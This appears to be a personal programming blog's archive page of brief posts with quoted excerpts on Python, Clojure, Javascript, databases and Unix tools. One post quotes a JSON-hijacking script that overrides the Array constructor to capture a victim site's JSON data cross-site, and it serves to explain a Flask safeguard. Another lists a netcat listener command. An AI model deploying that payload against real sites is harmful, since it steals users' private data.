January 11th, 2015

In Technology

No Comments

Dependency Injection in Python and Javascript

To start with, consider this quote from Martin Fowler writing about Rake:

This is a somewhat skewed story. I’m not trying to write a tutorial on Rake – I’m going to concentrate on things I find interesting rather than give a complete coverage. I’m not going to assume you know Ruby, Rake, or indeed any other build language. I’ll explain relevant bits of Ruby as I go along. Hopefully if you’ve done any messing with these, or are just interested in ...

Read More Source

January 11th, 2015

In Technology

No Comments

Clojure tessers

Interesting:

Tesser.core looks a lot like the Clojure seq API, and many of its functions have similar names. Their semantics differ, however: Tesser folds do not preserve the order of inputs, and when executed, they run in parallel.

Applying a fold using tesser.core/tesser uses mutiple threads proportional to processor cores. Unlike reducers, we don’t use the Java forkjoin pool, just plain old threads. I’ve seen too many weird performance issues compared to regular threads.

(require '[tesser.core :as t]) (t/tesser [[1 2 3] [4 5 ...
Read More Source

January 9th, 2015

In Technology

No Comments

The dictatorship of the GIL keeps you safe and makes you slow

But in jRuby there is no GIL, so you can go fast, and you can also hurt yourself:

Source

January 7th, 2015

In Technology

No Comments

Cloxp

Interesting:

Clojure comes with a set of qualities that shape how programmers can interact with the language and runtime environment. To a large part this is derived from the powerful yet simple ideas and concepts Clojure builds on. Properties such as homoiconicity (your code is nothing special, “just” data) enable several versatile features: Meta-programming based on code transformations (macros). Documentation and other meta-data that becomes part of the actual system. Structural editing and inspection because, well, code is just data!

Clojure is ...

Read More Source

January 7th, 2015

In Technology

No Comments

Why is modularity such a struggle in Javascript?

Surely it is suspicious that this is being so often discussed among Javascripters? Doesn’t that suggest that Javascript is being pushed to do things that it can not do?

JavaScript Modularity Shaming:

Pete Hunt of React fame recently got into an online discussion about the pros and cons of Webpack vs. Browserify. In the discussion he inadvertently coins a hilarious term for a form of rhetoric in some circles of the JavaScript community – “Modularity Shaming”. React itself has been on ...

Read More Source

January 7th, 2015

In Technology

No Comments

Is there any point to dependency injection frameworks in dynamic languages?

2 essays, attacking dependency injection in Ruby and Python:

Python:

Dependency injection is a good idea a lot of the time. You don’t need a class to inject dependencies into, either. Every time you pass something to a free function as a parameter, instead of having the function call another function to get the information, you’re basically doing the same thing: inversion of control. Python also lets you treat modules similarly to classes in a lot of ways (certainly more ...

Read More Source

January 5th, 2015

In Technology

No Comments

Defending Python’s Pyramid design choices

Interesting:

A canon of Python popular culture is “TIOOWTDI” (“there is only one way to do it”, a slighting, tongue-in-cheek reference to Perl’s “TIMTOWTDI”, which is an acronym for “there is more than one way to do it”).

Pyramid is, for better or worse, a “TIMTOWTDI” system. For example, it includes more than one way to resolve a URL to a view callable: via url dispatch or traversal. Multiple methods of configuration exist: imperative configuration, configuration decoration, and ZCML (optionally via ...

Read More Source

January 5th, 2015

In Technology

No Comments

Handling HTTP routes in Python and Clojure

Very interesting:

Route handling 2 HTTP verbs in Flask (Python):

import flask @flask.route('/user/', methods=['GET', 'POST']) def user(uid): if flask.request.method == 'GET': return db.get_user_by_id(uid) return db.create_user(flask.request, uid)

Instead of using Compojure, my simple API servers used the underlying route matcher utility, clout. This was partly because my application needed one or two simple routes and so the additional power and complexity of Compojure was unnecessary. By using clout directly, the surface area ...

Read More Source

January 5th, 2015

In Technology

No Comments

Jakub Holý: Start with the simplest version you can

Jakub Holý has an interesting post:

Once upon time, there was a webshop portal with hundreds of partner webshops displayed on the front page. Potential users wanted to find out if their favorite webshops or a particular type of goods were available, existing users wanted to find a shop quickly. Therefore it was decided to implement search. But how to do that?

[a section about the first attempt]

Alternative 2: Minimal viable feature growing iteratively

After the original diversion, I have focused on ...

Read More Source

January 5th, 2015

In Technology

No Comments

(Computer) Language is culture

I find it remarkable that each computer language has such a strongly unique culture. I notice that in Python-land it is common to profile the heroes of Python-land. There is no other language community that does anything like this:

This week we welcome Dr. Margherita DI LEO as our PyDev of the Week. She is our first PyLady in this series! Let’s spend some time getting to know her!

madi

Can you tell us a little about yourself (hobbies, education, etc):

I come ...

Read More Source

January 4th, 2015

In Technology

No Comments

The power of the double-linked list

This gave me a completely new appreciation for a data structure that I have rarely thought much about:

– First we mark the node deleted

– We walk our prev chain backwards until we find a live node, and we walk our next chain forwards until we find a live node

– We then set the next of our predecessor and the prev of our successor to each other, unconditionally

– We leave the pointers of the deleted node untouched

Now, if deletes occur ...

Read More Source

January 4th, 2015

In Technology

No Comments

What does statistical over-fitting look like?

I like how clear this makes the mistake of over-fitting:

The model explains over 99% of the variance in the data. Like I said, not a typical data set.

View the estimates of the coefficients, and the p-values of their t-tests

(:coefs lm) (:t-probs lm) The values for coefficients b0, … b10 are (0.878 0.065 -0.066 -0.016 0.037 0.003 -0.009 -2.8273E-4 9.895E-4 1.050E-5 -4.029E-5), and the p-values are (0 0 0 1.28E-5 0 0.083 1.35E-12 0.379 3.74E-8 0.614 2.651E-5).

All the coefficients are significant except ...

Read More Source

January 4th, 2015

In Technology

No Comments

The Linux system calls worth knowing

Very interesting:

Here are the steps that the process involves:

fwrite, together with the rest of the C standard library, is implemented in glibc*, which is one of the core components of the Linux operating system.

fwrite is essentially a wrapper for the write library call.

write will load the system call ID (which is 1 for write) and arguments into the processor registers, and then cause the processor to switch to kernel level. The way this is done depends on the processor ...

Read More Source

January 4th, 2015

In Technology

No Comments

Object Oriented Programming is often defended with examples of Anthropomorphism Gone Wrong

So true:

The school principal is standing in front of fresh students, who need to go to their respective classrooms. Only the students don’t know which classroom yet. How can we get each student to their assigned classroom?

…When pushed too far, analogies break down. And we have pushed this one way too far. The reasons why it is better for the principal to just tell students where to go are rather specific:

First, it makes the whole process a lot faster: ...

Read More Source

December 31st, 2014

In Technology

No Comments

Accessing Columns in SqlAlchemy

A reminder to myself:

The MetaData object contains all of the schema constructs we’ve associated with it. It supports a few methods of accessing these table objects, such as the sorted_tables accessor which returns a list of each Table object in order of foreign key dependency (that is, each table is preceded by all tables which it references):

>>> for t in metadata.sorted_tables: ... print t.name user user_preference invoice invoice_item

In most cases, individual Table objects have been explicitly declared, and these objects are typically ...

Read More Source

December 30th, 2014

In Technology

No Comments

Always `git diff HEAD` before committing

Know what you’re about to push up.

Source

December 30th, 2014

In Technology

No Comments

We need to stop using HTTP for software

Regarding the conversation on Hacker News, I strongly agree with “the entire stack is more less broken”. Back in 1989 Sir Tim Berners-Lee put a lot of careful thought into the design of a protocol for sharing documents using IP/TCP. However, when Ajax and Web 2.0 got going circa 2004, the emphasis was on offering software over TCP, and for that the HTTP protocol was poorly suited. Rather than carefully rethink the entire stack, and ideally come up with a ...

Read More Source

December 30th, 2014

In Technology

No Comments

How to convert Sqlite to Postgres

I spent some hours trying to convert a Sqlite database to Postgres, and in the end, I failed. Or rather, I decided that it was no longer worth the time. I thought this would cost me 30 minutes, but hours went by and I was unable to make progress. For those using Ruby On Rails there is a good article about how to do it. I was not using any framework. Some of the problems that I ran into: ...

Read More Source

December 30th, 2014

In Technology

No Comments

The lack of expressiveness in Go

This is the strongest attack I’ve ever read about Go:

Deduping elements of a slice happens the following way in go:

package main

import “fmt”

func main() { // Given the following list: xs := []int{8, 6, 8, 2, 4, 4, 5, 9}

// For loop is the only generic way to traverse slices, you we have to write the following: index := map[int]struct{}{} for _, x := range xs { index[x] = struct{}{} }

// We can “easily” acquire the deduped slice by using a for loop again… deduped := []int{} for ...

Read More Source

December 29th, 2014

In Technology

No Comments

Worse is Better is often worse

Interesting:

There’s nothing inherently wrong with making tradeoffs like C++ did. And since C++ we’ve seen many instances of these sorts of tradeoffs in the software world. Scala is another recent example–a powerful functional language which makes compromises to retain easy interoperability with Java. What I want to deconstruct is the culture that has come along to rationalize these sorts tradeoffs without the need for serious justification. That is, we do not merely calculate in earnest to what extent tradeoffs are ...

Read More Source

December 29th, 2014

In Technology

No Comments

It’s hard to preserve programmer intent across all stages down to the silicon

Interesting:

All modern and advanced compilers convert source code through various stages and representation into an internal data-flow representation, usually a variant of SSA. The compiler backend converts that back to an imperative representation, i.e. machine code. That entails many complicated transforms e.g. register allocation, instruction selection, instruction scheduling and so on. Lots of heuristics are used to tame their NP-complete nature. That implies missing some optimization opportunities, of course.

OTOH a modern CPU uses super-scalar and out-of-order execution. So the first thing it has to do, is to perform ...

Read More Source

December 29th, 2014

In Technology

No Comments

Quality should be the responsibility of one person

The stuff about quality is interesting. The rest is a misguided rant that gets all of its historical facts wrong. Unix fractured in the 90s? Good lord! It was fractured a long time before that.

One of Brooks’s many excellent points is that quality happens only if somebody has the responsibility for it, and that “somebody” can be no more than one single person—with an exception for a dynamic duo. I am surprised that Brooks does not cite Unix as ...

Read More Source

December 29th, 2014

In Technology

No Comments

Which module should we use for RESTful APIs in Python?

In Python we have a great many HTTP modules to choose from:

urllib2 httplib httplib2 pycurl requests

Balthazar offers a good overview of the modules and concludes:

requests

Finally, let’s see how to create a Github repo with requests.

import requests, json github_url = "https://api.github.com/user/repos" data = json.dumps({'name':'test', 'description':'some test repo'}) r = requests.post(github_url, data, auth=('user', '*****')) print r.json

Wait, is that it? No CreateManagerWithExtraLargeName() method call? No manual credential sending? Well, no. requests was designed to be an HTTP high level API, supporting all HTTP methods, SSL encryption, proxies, redirection, caching, etc.

I ...

Read More Source

December 29th, 2014

In Technology

No Comments

How to imitate the Flask app.route() decorator

Interesting:

Now we’re almost there! But what use is that dictionary of routes if there’s no way to access the view functions inside of it? Lets add a method serve(path), which gives us the result of running a function for a given route if it exists or raises an exception if the route has not been registered yet.

class NotFlask(): def __init__(self): self.routes = {} def route(self, route_str): ...
Read More Source

December 26th, 2014

In Technology

No Comments

Boring is good in Python’s __init__

Interesting:

You might notice that these three observations I’ve made all sound a bit negative. You might conclude that I think this is an antipattern to be avoided. If so, feel free to give yourself a pat on the back at this point.

But if this is an antipattern, is there a pattern to use instead? I think so. I’ll try to explain it.

The general idea behind the pattern I’m going to suggest comes in two parts. The first part is ...

Read More Source

December 24th, 2014

In Technology

No Comments

Get SqlAlchemy to call CREATE SCHEMA to keep PostGres happy

Someone asks:

I have a SqlAlchemy model with a schema argument like so:

Base = declarative_base()

class Road(Base): __tablename__ = “roads” __table_args__ = {‘schema’: ‘my_schema’} id = Column(Integer, primary_key=True)

When I use Base.metadata.create_all(engine) it correctly issues a CREATE TABLE with the schema name on the front like so “CREATE TABLE my_schema.roads (” but Postgresql rightly complains that the schema doesn’t exist.

Am I missing a step to get SqlAlchemy to issue the CREATE SCHEMA my_schema or do I have to call this ...

Read More Source

December 24th, 2014

In Technology

No Comments

Generate Python models from an SQL schema

Just a reminder to myself, this is how we should generate Python models for our SQL:

from sqlalchemy import create_engine, MetaData, Table, Column, ForeignKey engine = create_engine("sqlite:///mydatabase.db") # produce our own MetaData object metadata = MetaData() # we can reflect it ourselves from a database, using options # such as 'only' to limit what tables we look at... metadata.reflect(engine, only=['user', 'address']) # ... or just define our own Table objects with it (or combine both) Table('user_order', metadata, ...
Read More Source

December 24th, 2014

In Technology

No Comments

.tgz file- tar: Unrecognized archive format

I got this error during a build:

.tgz file- tar: Unrecognized archive format

Turned out I was working against a mirror that was no longer being updated. I had read instructions telling me to set a particular URL for a mirror in my .zshrc file, but the mirror was out of date to whatever was downloaded was wrong.

This was a tough bug.

Source

December 24th, 2014

In Technology

No Comments

Why callback hell is hell

This is great:

In the example above, it’s disturbing that simple and intuitively harmless changes introduced such drastic errors. Experientially, it’s kind of like executing print 2 + 2 and seeing 5. What was it about that logging API that turned us into such bad programmers?

The specification of a typical callback-based API is simple: pass in any function and it will get called when the relevant event happens. Unfortunately, this simple specification doesn’t reflect reality. You can’t just call any function ...

Read More Source

December 24th, 2014

In Technology

No Comments

git pull –rebase

Tried to push to git and got ref errors? A reminder to myself:

If the GitHub repo has seen new commits pushed to it, while you were working locally, I would advice for:

git pull –rebase git push

The full syntax is:

git pull –rebase origin master git push origin master

That way, you would replay (the –rebase part) your local commits on top of the newly updated origin/master (or origin/yourBranch: git pull origin yourBranch).

See a more complete example in the chapter 6 Pull with rebase ...

Read More Source

December 21st, 2014

In Technology

No Comments

Guido van Rossum agrees with me

When I wrote How ignorant am I, and how do I formally specify that in my code? I said:

For decades, computer programmers have argued with each other over the issue of strict data-type enforcement, versus dynamic data-type unenforcement. And after 16 years of computer programming, I have come down firmly in the middle: I like optional typing.

Clojure allows me to work dynamically, but to type hint when I want to, so I can get the performance benefits of type ...

Read More Source

December 20th, 2014

In Technology

No Comments

Metaphors for bad code

Interesting:

I “write” a Call Option when I sell someone the right, but not the obligation, to buy in the future an agreed quantity of something at an price that is fixed now. So, for a payment now, I agree to sell you 10,000 chocolate santas[1] at 56 pence each, at any time up to 10th December. You’re prepared to pay the premium because you want to know that you’ll have santas in your stores at a price you can ...

Read More Source

December 20th, 2014

In Technology

No Comments

Which is better, MongoDB or Postgres?

I am very impressed with the new JSON features in Postgres 9.4. So can Postgres completely replace MongoDB? There are some grouping and aggregate functions that MongoDB has that Postgres does not have. More so, at the Mongo shell I have access to the entire Javascript language, whereas Postgres only gives me SQL plus some cool extensions. I recently found out about “WITH” statements in Postgres. From the point of view of SQL, this is the coolest thing ever. From ...

Read More Source

December 20th, 2014

In Technology

No Comments

An outside perspective on SqlAlchemy

Interesting:

For starters, as you might expect from the difference in Ruby vs. Python cultures, SQLAlchemy is more explicit than ActiveRecord. SQLAlchemy has what is called a “declarative” mode where you define your class and your table all at once (within a class that inherits from SQLAlchemy’s declarative_base class). But you can also explicitly create, edit, and inspect an explicit metadata object which defines the table. Then you can define a Python class for your object – and then use SQLAlchemy’s ...

Read More Source

December 19th, 2014

In Technology

No Comments

The big Python surprise: a culture of composable libraries, like Clojure

It is well known that Clojure has a culture best summarized as “Clojure developers prefer to assemble their own stack from small, composable libraries.”

I have been working with Python lately. I am surprised by that it also has a culture of using small libraries. There have been 2 attempts at monolithic frameworks in Python: Zope and Django (maybe Pylons, though it is done as separate libraries, sort of like Symfony2 in PHP). But for the most part, Python goes for ...

Read More Source

December 19th, 2014

In Technology

No Comments

What happens if you introduce a new pattern in your software but never replace the old?

This is very good:

Each new design and technology choice never completely replaced the one that went before. The application has archaeological layers revealing it’s history and the different technological fashions taken up successively by Laurence, Bruce, Ina and Gordy. If you look along the Version 4 line, you can see that there are four different ways of doing the same thing scattered throughout the code base.

Each successive lead developer acted in good faith. They genuinely wanted to improve the application ...

Read More Source

December 18th, 2014

In Technology

No Comments

How to install Postgres

By coincidence, I installed Postgres 9.3 yesterday and today they released 9.4 so I’m doing it all over again. This was a good setup guide.

Source

December 16th, 2014

In Technology

No Comments

Is PostGreSQL text search good enough?

Some interesting commentary:

As much as I would like it to be ‘good enough’, Postgres’ full text search lacks the feature set to be a reasonable solution to most search use cases. Background: I wrote a product search engine for a company called iTrackr using Postgres full text search, and later wrote the product search for milo.com using Solr. I also designed a simple (but very effective) algorithm to boost search rankings based on historical user click data, by generalizing click data ...

Read More Source

December 15th, 2014

In Technology

No Comments

Logging activity can be expensive

Scaling issues.

Source

December 15th, 2014

In Technology

No Comments

dtrace: error on enabled probe ID 5 (ID 992: io:mach_kernel:buf_strategy:start): illegal operation in action #3 at DIF offset 0

If I run “iotop” I see this error:

I looked into it and found this on StackOverflow:

I’ve looked into it a bit deeper and it does seem that it’s MySQL causing these heavy pulsing writes. When a table has an entry added or updated, does it have to re-write the entire table to disk or could it append/modify existing data? We are using MyISAM tables. We are also using SELECT queries with ORDER BY and TEXT fields, which of course require ...

Read More Source

December 3rd, 2014

In Technology

No Comments

Java gave me a choice that I didn’t need, and I made the wrong choice

Interesting story:

I made a bug once, and I need to tell you about it. So, in 2001, I wrote a reference library for JSON, in Java, and in it, I had this line

private int index

that created a variable called “index” which counted the number of characters in the JSON text that we were parsing, and it was used to produce an ...

Read More Source

November 30th, 2014

In Technology

No Comments

Why use Java?

This article is called “Java For Everything” and it makes a good case for re-using the same language over and over again, but it does not make any case for Java.

This makes clear of using the language that you know best:

And finally, I went to write a simple program that put up a web interface. I considered using Python, but this would have required me to figure out how to serve pages from its library. I had already ...

Read More Source

November 30th, 2014

In Technology

No Comments

Letting others write your Emacs config

This is an interesting attitude:

After a long time of maintaining my own configuration I took the decision a few years ago to outsource it to people who really care about this stuff. I started with the Emacs Prelude (http://batsov.com/prelude/) which introduced me to some great tools. I recently switched to Vim bindings (evil-mode) and a week ago switched to Spacemacs (https://github.com/syl20bnr/spacemacs) which integrates better with evil-mode . So far I’m really liking the Spacemacs approach. tl;dr: Just use one of the ...

Read More Source

November 29th, 2014

In Technology

No Comments

peerinvalid The package mocha does not satisfy its siblings’ peerDependencies requirements!

Setting up a new complicated system. I got to the point where “make build” completed. But I run into trouble with “make run”.

I don’t know why this error exists:

npm ERR! peerinvalid The package mocha does not satisfy its siblings’ peerDependencies requirements! npm ERR! peerinvalid Peer karma-mocha@0.1.9 wants mocha@* npm ERR! peerinvalid Peer mocha-as-promised@2.0.0 wants mocha@>= 1.8.0 Source

November 29th, 2014

In Technology

No Comments

nixd is an automation framework to build your application environment

I am not clear why this is better than running a VM but this is an interesting attempt to fix the problem of setting up complex systems on machine:

nixd is an automation framework to build your application environment for development and production. It sits between build tools and configuration management engines, and lets you write simple shell scripts with hooks that will reliably get you from pristine source to running code in one command, and make every attempt to ...

Read More Source

November 29th, 2014

In Technology

No Comments

We need a unified abstraction for apps to discover each others formats

Myself and a friend exchanged some email regarding the article “The Future of Asynchronous IO in Python”. My friend wrote:

Seems like he wants zmq/nanomsg embedded inside Python. I am not really sure why.

I responded:

I think what he is suggesting is more interesting: a single, unified way of speaking to all protocols (MySql, MongoDB, Redis, Kafka, etc). When he says “protocol” I think he means “byte format”. He points out that each app generally has its own method of ...

Read More Source

November 27th, 2014

In Technology

No Comments

Slingshot cleans up its “catch any exception or object” syntax

Personally, I am pleased to see Slingshot improve this, as it is has long been a source of confusion. Paul Stadig writes a long comment that is critical of this change, but I disagree with his assumptions, especially here:

“It is confusing to have a class selector that selects against the wrapped object instead of the wrapper.” In other words (catch RuntimeException e …) selects against the wrapper object that is thrown whereas (catch Object o …) selects against ...

Read More Source

November 27th, 2014

In Technology

No Comments

Why use Github and also Google Groups for an open source project?

This seems to be a universal pattern, where an open source project has both a Github account and a Google Groups mailist, but is the mailist really needed? Why not just use the tools offered by Github (issues, the wiki, etc). I like that Monger introduced a Feature Request label on Github:

From Google Groups

Source

November 27th, 2014

In Technology

No Comments

Flask uses assertions

Assertions don’t seem to be used very often in Python, but they are used in Flask:

eugene-eeo started the conversation:

eugene-eeo commented 10 hours ago

I was browsing through the source and found it weird that asserts were used instead of normal exceptions.

untitaker replied:

Alright. Because Flask is using assert-statements exactly as usually recommended. The Python wiki explains the meaning of assertion errors:

Assertions are not a substitute for unit tests or system tests, but rather a complement. Because assertions are a ...

Read More Source

November 27th, 2014

In Technology

No Comments

Can Gunicorn die if bash quits before forking is done?

A very intersting bug:

Sly010 does some epic digging to find out why Gunicorn sometimes dies on startup:

Did a bit more digging:

# relevant section from daemonize() in util.py

if os.fork(): os._exit(0) os.setsid() ...

# (added 3 prints) # 3 out of 5 times this prints “1″ then silence. No gunicorn. # There is no error message and nothing in the logs.

if os.fork(): print "1" os._exit(0) print "2" os.setsid() print "3" ... # (added an extra sleep) # This prints 1,2,3 (but I would ...
Read More Source

November 27th, 2014

In Technology

No Comments

The effects of signal() in a multithreaded process are unspecified

I did not know this, and I find this very surprising:

Continuing reading the manual page, the very first note under the NOTES section is this:

The effects of signal() in a multithreaded process are unspecified.

This is called Unspecified Behavior. What it means is that standard does not say anything as for how the function should behave in a multi-threaded environment. Therefore, it may exhibit a different behavior on different systems including different versions of the same system, at discretion of ...

Read More Source

November 27th, 2014

In Technology

No Comments

Why I don’t use classes or protocols in Clojure

This post on Github sums it up very well. For almost every situation where, in an object oriented language, I would reach for interfaces and classes, in Clojure I tend to just use multi-methods.

The key issue is polymorphism. All of us want to work in a language that gives us powerful forms of polymorphism. All of the major languages offer us some types of polymorphism, but let us ask, which gives us the most powerful and flexible forms? ...

Read More Source

November 27th, 2014

In Technology

No Comments

Returning an object from eval() in Javascript

I did not know this:

eval parses its argument in statement context. You have to put parentheses around an object literal if you want eval to return an object:

> eval(‘{ foo: 123 }’) 123

> eval(‘({ foo: 123 })’) { foo: 123 }

Source

November 27th, 2014

In Technology

No Comments

A basic skeleton for python decorators

This is a nice resource that I will almost certainly come back to:

### Example usage ### class PrintDebugDecorator(Decorator): def _call(self, *args, **kwargs): print 'calling', self._f, 'with', args, 'and', kwargs return self._f(*args, **kwargs) class ModuloDecorator(Decorator): def _init(self, n=None): self.__n = n if n else 42 def _call(self, *args, **kwargs): ...
Read More Source

November 27th, 2014

In Technology

No Comments

Protecting against JSON attacks in Flask

Interesting debate. So where should Flask enforce safety for the handling of JSON?

dghubble commented 18 hours ago

My understanding is that the previous behavior (always converting the args to a dict) was sufficient to always prevent a top level json list, but blocked the legitimate use case of jsonify’ing an object for which one has written a custom JSONEncoder. This PR seems to enable that ability, while still protecting against top level json lists.

Whether json lists are considered a vulnerability Flask ...

Read More Source

November 27th, 2014

In Technology

No Comments

Top level arrays in Javascript are dangerous: Register callback on Javascript Array setters

Interesting attack:

So now what happens if a clever hacker is embedding this to his website and social engineers a victim to visiting his site:

<script type=text/javascript> var captured = []; var oldArray = Array; function Array() { var obj = this, id = 0, capture = function(value) { obj.__defineSetter__(id++, capture); if (value) captured.push(value); }; capture(); } </script> <script type=text/javascript src=http://example.com/api/get_friends.json></script> <script type=text/javascript> Array = oldArray; // now we have all the data in the ...
Read More Source

November 27th, 2014

In Technology

No Comments

Weird that under Python 3.4 runtime you can import from 2.7

Interesting:

Weird that under Python 3.4 runtime you can import from 2.7. That should not be possible for all those sanity reasons.

Because allowing that means:

Thanks. I might miss something obvious but when using gunicorn MYPROJECT.wsgi:application i get:

File “/virtualenv/lib/python3.4/site-packages/django/utils/timezone.py”, line 13, in import pytz File “/virtualenv/lib/python3.4/site-packages/pytz/__init__.py”, line 37, in from pytz.lazy import LazyDict, LazyList, LazySet File “/virtualenv/lib/python3.4/site-packages/pytz/lazy.py”, line 3, in from UserDict import DictMixin File “/usr/lib/python2.7/UserDict.py”, line ...

Read More Source

November 26th, 2014

In Technology

No Comments

Prepare for broken builds

Funny:

Source

November 26th, 2014

In Technology

No Comments

Every programming language has its own culture

It is interesting to note that this article about decorators in Python does not use the “word” closure, even though that would be the obvious way of talking about these, were we discussing a language like Javascript, where discussion of closures has been central to the culture since Doug Crockford first discussed them back in 2001.

Only in the comments does someone ask about closures:

So, decorators are an application of closures, i.e. closures applied to functions? Could you explain the ...

Read More Source

November 26th, 2014

In Technology

No Comments

Ugly mutable parts of Python

I like Python more than PHP, but the mutable parts of Python are as ugly as PHP. This function is an exampe:

def transform_words(content, targets, transform): """Return a string based on *content* but with each occurrence of words in *targets* replaced with the result of applying *transform* to it.""" result = '' for word in content.split(): if word ...
Read More Source

November 24th, 2014

In Technology

No Comments

Python and its discontents

Python started off as a clean procedural language, with some immutable objects that would have allowed it to evolve into a beautiful functional language, but instead, with version 3, it veered in the direction of classic object oriented programming. I disappointed by this and so I have some interest in the various disappointments expressed by others:

By far my biggest problem with the language is the stupid slot system. I do not mean the __slots__ but the internal type slots for ...

Read More Source

November 24th, 2014

In Technology

No Comments

An abundance of file watchers in Clojure

This is a good overview of the file watchers in Clojure. I had no idea there were so many:

Typically file watchers are implemented using either one of two patterns:

verb based – (add-watch directory callback options)

noun based – (start (watcher callback options))

The difference is very subtle and really centers around the verb start. If the verb start does not exist, we can treat the file-watch as an action on the file object. However if it does exist, we can treat ...

Read More Source

November 24th, 2014

In Technology

No Comments

Instant dashboard with the ELK stack?

I need to build some dashboards for a business. I am impressed with Riak but I would have to find some way to build the dashboard. In theory, the ELK stack gives an almost instant dashboard. I am not at all interested in Logstash, but the rest of this sounds interesting:

We’ve built a data analysis and dashboarding infrastructure for one of our clients over the past few weeks. They collect about 10 million data points a day. Yes, that’s ...

Read More Source

November 24th, 2014

In Technology

No Comments

How to write errors to the terminal while booting a daemon

A very clever trick from Unicorn, which can probably be used everywhere:

And then there’s the ready_pipe Unicorn uses, which is actually quite an amazing trick. See, if you want to daemonize a process under Unix, you need to call fork(2) two times (and do some other things) so the process is completely detached from the controlling terminal and the shell thinks is the process is done and gives you a new prompt.

What Unicorn does when you tell it to run ...

Read More Source

November 24th, 2014

In Technology

No Comments

Using Emacs Eshell as the ultimate shell

Very interesting idea, I am tempted to try it:

File Selection

If all you were doing was renaming a single file, or changing access permissions on all files in a directory, you’d hardly need a flexible shell, as dired or even Finder is sufficient for those tasks. A shell comes in handy when selecting a subset of files based on a pattern, and EShell really shines here, because of its filters.

$ ls -al *.mp3(^U) # Show songs I don’t own

If ...

Read More Source

November 23rd, 2014

In Technology

No Comments

The Tracy-Widom distribution

Interesting:

The Tracy-Widom distribution is an asymmetrical statistical bump, steeper on the left side than the right. Suitably scaled, its summit sits at a telltale value: √2N, the square root of twice the number of variables in the systems that give rise to it and the exact transition point between stability and instability that May calculated for his model ecosystem.

The transition point corresponded to a property of his matrix model called the “largest eigenvalue”: the greatest in a series of ...

Read More Source

November 23rd, 2014

In Technology

No Comments

Setting up a daemon to run automatically at startup

If I sudo to root and run:

ls -alh /etc/rc2.d/

I see something like this:

Apparently, on Ubuntu, the creation of these links is managed by update-rc.d

DESCRIPTION update-rc.d updates the System V style init script links /etc/rcrunlevel.d/NNname whose target is the script /etc/init.d/name. These links are run ...

Read More Source

November 23rd, 2014

In Technology

No Comments

Controlling the aggressiveness of swap

Interesting:

sysctl is similar ulimit: It allows to configure kernel parameters at runtime. If you wish to keep settings persistent across reboots you should edit /etc/sysctl.conf – be aware that wrong settings may break things in unforeseen ways.

Code Listing 4: Exploring sysctl variables # sysctl -a … vm.swappiness = 60 …

The list of variables is quite long (367 lines on my system), but I picked out vm.swappiness here. It controls how aggressive swapping will be, the higher it is (with a maximum of ...

Read More Source

November 23rd, 2014

In Technology

No Comments

Escort for command line utilities in Ruby

This looks awesome:

A lot of the existing CLI making libraries delegate to OptionParser for actually parsing the option string, while OptionParser is nice it doesn’t allow things like specifying the same option multiple times (e.g. like CURL -H parameter) which I like and use quite often. Trollop handles this case nicely, so a Trollop-based CLI tool is superior.

Also a lot of the other CLI libraries in an attempt to be extra terse and DRY make their syntax a little ...

Read More Source

November 23rd, 2014

In Technology

No Comments

Login into remote server with one word alias

I need to remind myself of this every time:

The SSH config file is a set of key-value pairs. One type of setting is a Host keyword with other attributes. Thus, an appropriate Host entry might be:

$ cat .ssh/config Host annoying HostName annoying.hostname.example.org User admin Port 22022 Now the previous examples become:

$ ssh annoying … $ scp some-file annoying: … Finally, the last step is to take advantage of alias in your shell. In your .profile (or .bash_profile, etc):

$ grep alias .profile alias annoying=’ssh annoying’; The end result is what one ...

Read More Source

November 23rd, 2014

In Technology

No Comments

Some Unix commands that I am finding useful

This is a note to myself. I am getting to know a new server topology at a new company. I find these commands useful:

(some of these are specific to Ubuntu — initctl, ncat, etc)

find

locate

ps

pstree

top

htop

netstats (in particular netstats -pl)

lsof

grep

du -h

df -h

ls (in particular “ls -alh” and “ls -alhrt”)

cd

screen

strace (as in “strace -c -f -p 19363″)

more

less

fuser (especially “fuser -v -n tcp 80″)

ncat (such as “ncat -lvp 4444″ I test to be sure I can send a message to a ...

Read More Source

November 23rd, 2014

In Technology

No Comments

A 23 line web server in Ruby

Part of the Ruby philosophy is to rely on Unix as much as possible. That is, in theory, what makes Unicorn so great. Here is an example of how simple it can be to build a server:

At the heart of everything that has to do with networking under Unix are sockets. You want to read a website? You need to open a socket first. Send something to the logserver? Open a socket. Wait for incoming connections? Open a socket. ...

Read More Source

November 23rd, 2014

In Technology

No Comments

Stream Control Transmission Protocol

I did not know about the existence of this kind of socket:

Similar to TCP and UDP, SCTP provides some features of both. It is message-oriented, and provides a reliable sequenced delivery of messages. SCTP supports multi-homing, i.e., multiple IPs on both sides of the connection. So it is called an association instead of a connection, as a connection involves communication between two IPs, while an association refers to communication between two systems that may have multiple IPs.

SCTP can provide ...

Read More Source

November 23rd, 2014

In Technology

No Comments

You don’t need to normalize a reporting database, because it’s read-only

I am about to create a reporting database, so this is a healthy reminder to myself:

A reporting database has a number of advantages:

The structure of the reporting database can be specifically designed to make it easier to write reports.

You don’t need to normalize a reporting database, because it’s read-only. Feel free to duplicate data as much as needed to make queries and reporting easier.

The development team can refactor the operational database without needing to change the reporting database.

Queries run ...

Read More Source

November 23rd, 2014

In Technology

No Comments

Automatic conflict resolution in a distributed database?

Clearly, a lot of careful thought has gone into Riak:

A pure key/value store is completely agnostic toward the data stored within it. Any key can be associated with values of any conceivable type, from short strings to large JSON objects to video files. Riak began as a pure key/value store, but over time it has become more and more aware of the data stored in it through features like secondary indexes and Search.

In version 2.0, Riak continued this evolution ...

Read More Source

November 22nd, 2014

In Technology

No Comments

What is a vector clock?

Interesting:

Like dotted version vectors, vector clocks are a means of tracking a events in distributed systems. Unlike normal clocks, vector clocks have no sense of chronological time, i.e. they don’t care if something happened at 6 pm today or back in 1972. They care only about sequences of events. More specifically, they keep track of who—i.e. which actor in the system—has modified an object and how many times they’ve done so.

In a distributed system like Riak, multiple replicas of ...

Read More Source

November 22nd, 2014

In Technology

No Comments

Denormalizing a variety of data-types to a standard type for display

What is Riak good for? I get that we developers often denormalize a database to gain speed. I am not sure I totally get this, but I think this talk from developers at Yammer is about denormalizing data to a standard format, so that you can also get a simplicity and speed when you display it. In this graph they have “notifications” on the left, and then they start dividing it by status and by specific properties, which is strange, ...

Read More Source

November 22nd, 2014

In Technology

No Comments

The denormalized Materialized Path

When you have to do self-joins, but you don’t know how many to do, to build a hierarchical tree out of data in the database:

In this approach each record stores the whole path to the root. In our previous example, lets assume that KING is a root node. Then, the record with ename = ‘SCOTT’ is connected to the root via the path SCOTT->JONES->KING. Modern databases allow representing a list of nodes as a single value, but since materialized path ...

Read More Source

November 22nd, 2014
